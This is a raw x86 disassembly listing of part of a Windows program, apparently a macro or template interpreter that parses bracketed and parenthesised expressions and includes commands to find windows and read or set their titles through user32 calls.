mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
xor ebx, ebx
jmp 0x540f64
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x5b
jne 0x540f61
mov bl, 1
jmp 0x540f8b
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x14]
jl 0x540f8b
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
mov edx, dword [0x59046c]
and eax, 0xff
bt dword [edx], eax
jae 0x540f50
test bl, bl
je 0x5523d0
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
jmp 0x540fd1
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x5b
je 0x540fb1
sub al, 2
je 0x540fbb
jmp 0x540fc1
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x540fc1
dec dword [ebp - 0x84]
test bl, bl
je 0x540fce
cmp dword [ebp - 0x84], 0
je 0x540fde
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x10]
jae 0x540f9d
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
inc eax
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x14]
inc edx
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0xa00]
push eax
lea eax, [ebp - 0xa04]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xa04]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xa00]
lea eax, [ebp - 0x1c]
call fcn.00405070
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x9c]
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
call fcn.0052d600
cmp dword [ebp - 0x14], 0
je 0x541064
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x54106f
mov eax, dword [ebp - 0x24]
call fcn.0040b6e8
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
movzx edx, byte [edx + 0x419c]
mov ecx, dword [0x5905b8]
mov ebx, dword [ebp - 0x10]
sub ebx, dword [ecx + edx*4]
mov edx, dword [0x59040c]
mov edx, dword [edx + ebx*4]
call fcn.00405070
cmp byte [ebp - 0x195], 0
je 0x5410b9
push 0x5537e4
push dword [ebp - 0x1c]
push 0x5537e4
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
xor ebx, ebx
jmp 0x5410f5
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x5410f2
mov bl, 1
jmp 0x541140
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x14]
jl 0x541140
mov eax, dword [0x59046c]
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x5410e1
lea eax, [ebp - 0xa0c]
push eax
xor ecx, ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xa0c]
lea edx, [ebp - 0xa08]
call fcn.0040af24
mov eax, dword [ebp - 0xa08]
mov edx, 0x553758
call fcn.004053e4
jne 0x5411b3
lea eax, [ebp - 0xa14]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xa14]
lea edx, [ebp - 0xa10]
call fcn.0040af24
mov eax, dword [ebp - 0xa10]
cmp byte [eax], 0x25
jne 0x5411b3
mov byte [ebp - 0x13f], 1
jmp 0x5411ba
mov byte [ebp - 0x13f], 0
test bl, bl
je 0x5523d0
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x144]
call fcn.00404fd8
jmp 0x54120b
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x5411eb
dec al
je 0x5411f5
jmp 0x5411fb
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x5411fb
dec dword [ebp - 0x84]
test bl, bl
je 0x541208
cmp dword [ebp - 0x84], 0
je 0x541218
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x10]
jae 0x5411d7
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
inc eax
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x14]
inc edx
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0xa18]
push eax
lea eax, [ebp - 0xa1c]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xa1c]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xa18]
lea eax, [ebp - 0x1c]
call fcn.00405070
lea edx, [ebp - 0x1c]
mov cl, byte [ebp - 0x13f]
mov eax, dword [ebp - 0x18]
call fcn.0053cb6c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
xor ebx, ebx
jmp 0x5412c9
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x5412c6
mov bl, 1
jmp 0x541314
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x14]
jl 0x541314
mov eax, dword [0x59046c]
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x5412b5
test bl, bl
je 0x5414c6
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
jmp 0x54135a
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x54133a
dec al
je 0x541344
jmp 0x54134a
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x54134a
dec dword [ebp - 0x84]
test bl, bl
je 0x541357
cmp dword [ebp - 0x84], 0
je 0x541367
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x10]
jae 0x541326
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
inc eax
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x14]
inc edx
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0xa20]
push eax
lea eax, [ebp - 0xa24]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xa24]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xa20]
lea eax, [ebp - 0x1c]
call fcn.00405070
jmp 0x5413df
lea eax, [ebp - 0x1c]
mov ecx, 1
mov edx, 1
call fcn.00405538
mov eax, dword [ebp - 0x1c]
call fcn.00405298
test eax, eax
jle 0x541419
mov eax, dword [ebp - 0x1c]
mov al, byte [eax]
mov edx, dword [0x59046c]
and eax, 0xff
bt dword [edx], eax
jae 0x5413cd
jmp 0x541419
mov eax, dword [ebp - 0x1c]
call fcn.00405298
mov edx, eax
lea eax, [ebp - 0x1c]
mov ecx, 1
call fcn.00405538
mov eax, dword [ebp - 0x1c]
call fcn.00405298
mov edx, dword [ebp - 0x1c]
mov al, byte [edx + eax - 1]
mov edx, dword [0x59046c]
and eax, 0xff
bt dword [edx], eax
jae 0x541402
xor eax, eax
push ebp
push 0x541491
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xa2c]
push eax
lea ecx, [ebp - 0x9c]
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
call fcn.0052d600
mov eax, dword [ebp - 0xa2c]
call fcn.0040b6e8
call fcn.004036f0
lea edx, [ebp - 0xa28]
call fcn.0040b57c
mov edx, dword [ebp - 0xa28]
lea eax, [ebp - 0x1c]
call fcn.00405070
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5414a8
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x4c]
call fcn.00405580
mov eax, dword [ebp - 0x4c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
xor ebx, ebx
jmp 0x541502
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x5414ff
mov bl, 1
jmp 0x54154d
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x14]
jl 0x54154d
mov eax, dword [0x59046c]
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x5414ee
test bl, bl
je 0x5523d0
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
jmp 0x541593
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x541573
dec al
je 0x54157d
jmp 0x541583
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x541583
dec dword [ebp - 0x84]
test bl, bl
je 0x541590
cmp dword [ebp - 0x84], 0
je 0x5415a0
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x10]
jae 0x54155f
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
inc eax
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x14]
inc edx
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0xa30]
push eax
lea eax, [ebp - 0xa34]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xa34]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xa30]
lea edx, [ebp - 0x10]
call fcn.0040b73c
test al, al
je 0x541610
cmp dword [ebp - 0x10], 0
jne 0x541618
call sub.user32.dll_GetForegroundWindow
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xa38]
push eax
lea eax, [ebp - 0xa3c]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xa3c]
mov ecx, 2
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xa38]
lea eax, [ebp - 0x1c]
call fcn.00405070
lea edx, [ebp - 0xa40]
mov eax, dword [ebp - 0x1c]
call fcn.0040af24
mov eax, dword [ebp - 0xa40]
mov edx, 0x553880
call fcn.004053e4
jne 0x541684
mov eax, dword [ebp - 0x10]
push eax
call sub.user32.dll_GetParent
mov dword [ebp - 0x10], eax
jmp 0x541712
lea edx, [ebp - 0xa44]
mov eax, dword [ebp - 0x1c]
call fcn.0040af24
mov eax, dword [ebp - 0xa44]
mov edx, 0x553890
call fcn.004053e4
jne 0x5416b4
push 5
mov eax, dword [ebp - 0x10]
push eax
call sub.user32.dll_GetWindow
mov dword [ebp - 0x10], eax
jmp 0x541712
lea edx, [ebp - 0xa48]
mov eax, dword [ebp - 0x1c]
call fcn.0040af24
mov eax, dword [ebp - 0xa48]
mov edx, 0x5538a0
call fcn.004053e4
jne 0x5416e4
push 0
mov eax, dword [ebp - 0x10]
push eax
call sub.user32.dll_GetWindow
mov dword [ebp - 0x10], eax
jmp 0x541712
lea edx, [ebp - 0xa4c]
mov eax, dword [ebp - 0x1c]
call fcn.0040af24
mov eax, dword [ebp - 0xa4c]
mov edx, 0x5538b0
call fcn.004053e4
jne 0x541712
push 2
mov eax, dword [ebp - 0x10]
push eax
call sub.user32.dll_GetWindow
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
xor ebx, ebx
jmp 0x54175d
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x54175a
mov bl, 1
jmp 0x5417a8
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x14]
jl 0x5417a8
mov eax, dword [0x59046c]
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x541749
test bl, bl
je 0x5523d0
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
jmp 0x5417ee
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x5417ce
dec al
je 0x5417d8
jmp 0x5417de
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x5417de
dec dword [ebp - 0x84]
test bl, bl
je 0x5417eb
cmp dword [ebp - 0x84], 0
je 0x5417fb
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x10]
jae 0x5417ba
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
inc eax
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x14]
inc edx
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
mov byte [ebp - 0x650], 0
xor eax, eax
push ebp
push 0x54187e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xa50]
push eax
lea eax, [ebp - 0xa54]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xa54]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xa50]
call fcn.0040b6e8
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x54188d
cmp dword [ebp - 0x10], 0
ja 0x54189f
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x650]
push eax
push pe_nt_image_headers32
push 0xd
mov eax, dword [ebp - 0x10]
push eax
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x650]
mov dword [ebp - 0xa4], eax
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0xa4]
call fcn.004051d0
cmp byte [ebp - 0x195], 0
je 0x5418f3
push 0x5537e4
push dword [ebp - 0x1c]
push 0x5537e4
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
xor ebx, ebx
jmp 0x54192f
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x54192c
mov bl, 1
jmp 0x54197a
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x14]
jl 0x54197a
mov eax, dword [0x59046c]
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x54191b
test bl, bl
je 0x5523d0
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
jmp 0x5419c0
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x5419a0
dec al
je 0x5419aa
jmp 0x5419b0
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x5419b0
dec dword [ebp - 0x84]
test bl, bl
je 0x5419bd
cmp dword [ebp - 0x84], 0
je 0x5419cd
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x10]
jae 0x54198c
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
inc eax
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x14]
inc edx
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0xa58]
push eax
lea eax, [ebp - 0xa5c]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xa5c]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xa58]
call fcn.0040b6e8
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xa60]
push eax
lea eax, [ebp - 0xa64]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xa64]
mov ecx, 0xfffffffe
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xa60]
lea eax, [ebp - 0x1c]
call fcn.00405070
mov eax, dword [ebp - 0x1c]
call fcn.00405498
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.user32.dll_SetWindowTextA
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jbe 0x541a90
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
xor ebx, ebx
jmp 0x541adb
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x541ad8
mov bl, 1
jmp 0x541b26
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x14]
jl 0x541b26
mov eax, dword [0x59046c]
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x541ac7
test bl, bl
je 0x541e99
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x84], eax
jmp 0x541b74
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x541b54
dec al
je 0x541b5e
jmp 0x541b64
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x541b64
dec dword [ebp - 0x84]
test bl, bl
je 0x541b71
cmp dword [ebp - 0x84], 0
je 0x541b81
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x10]
jae 0x541b40
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
inc eax
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x14]
inc edx
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
xor ebx, ebx
mov dword [ebp - 0x10], 1
xor eax, eax
mov dword [ebp - 0x84], eax
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x541c02
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x541bd8
dec al
je 0x541bec
jmp 0x541bf2
inc dword [ebp - 0x84]
test bl, bl
jne 0x541be8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov bl, 1
jmp 0x541bf2
dec dword [ebp - 0x84]
test bl, bl
je 0x541bff
cmp dword [ebp - 0x84], 0
je 0x541c0f
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
call fcn.00405298
cmp eax, dword [ebp - 0x10]
jae 0x541bc4
inc dword [ebp - 0x14]
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0xa6c]
push eax
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
call fcn.004054f8
mov ecx, dword [ebp - 0xa6c]
lea eax, [ebp - 0xa68]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xa68]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x14]
add ecx, 2
mov edx, dword [ebp - 0x14]
dec edx
lea eax, [ebp - 0x1c]
call fcn.00405538
mov eax, dword [ebp - 0x18]
lea edx, [eax + 0x60]
mov eax, dword [ebp - 0x144]
call fcn.0040b73c
test al, al
jne 0x541c8c
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x60], edx
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x5c], 0
jne 0x541ced
lea eax, [ebp - 0xa70]
push eax
lea eax, [ebp - 0xa74]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xa74]
mov ecx, 2
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
cmp dword [ebp - 0xa70], 0
jne 0x541cdd
mov eax, dword [ebp - 0x18]
add eax, 0x5c
mov edx, 0x5538c0
call fcn.0040502c
jmp 0x541ced
mov eax, dword [ebp - 0x18]
add eax, 0x5c
mov edx, 0x5537d8
call fcn.0040502c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x5c]
cmp byte [eax], 0x24
jne 0x541d36
lea eax, [ebp - 0xa78]
push eax
lea eax, [ebp - 0xa7c]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xa7c]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xa78]
lea eax, [ebp - 0x1c]
call fcn.00405070
jmp 0x541dec
mov dword [ebp - 0x14], 1
lea eax, [ebp - 0x148]
call fcn.00404fd8
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0xa80]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xa80]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
jmp 0x541dd2
cmp dword [ebp - 0x144], 0
je 0x541da4
push dword [ebp - 0x148]
push 0x5538cc
push dword [ebp - 0x144]
push 0x5538d8
lea eax, [ebp - 0x148]
mov edx, 4
call fcn.00405358
inc dword [ebp - 0x14]
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0xa84]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xa84]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x105bc0], 0
jne 0x541d75
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x148]
call fcn.00405070
mov eax, dword [ebp - 0x1c]
call fcn.00405298
push eax
lea eax, [ebp - 0x1c]
call fcn.004054f0
mov edx, dword [ebp - 0x18]
add edx, 0x19c
pop ecx
call fcn.00402de8
mov eax, dword [ebp - 0x1c]
call fcn.00405298
mov edx, dword [ebp - 0x18]
mov byte [edx + eax + 0x19c], 0
mov eax, dword [ebp - 0x18]
push eax
push 0x533d00
mov eax, dword [ebp - 0x18]
call fcn.00425d90
mov eax, dword [ebp - 0x18]
call fcn.00425db8
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x71], 0
je 0x541e64
mov eax, dword [ebp - 0x18]
push eax
push 0x534830
mov eax, dword [ebp - 0x18]
call fcn.00425d90
mov eax, dword [ebp + 8]
mov edx, 0x553874
call fcn.0040502c
jmp 0x553567
lea eax, [ebp - 0xa88]
mov edx, dword [ebp - 0x18]
add edx, 0x9c
call fcn.0040523c
mov eax, dword [ebp - 0xa88]
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x4405], 0
je 0x5523d0
mov eax, dword [ebp - 0x18]
lea edi, [eax + 0x9c]
mov esi, 0x5538dc
mov ecx, 9
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x18]
push eax
push fcn.0053347c
mov eax, dword [ebp - 0x18]
call fcn.00425d90
jmp 0x5523d0
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
add edx, 0x104684
call fcn.0040523c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x725]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x541f57
mov eax, dword [ebp - 0x18]
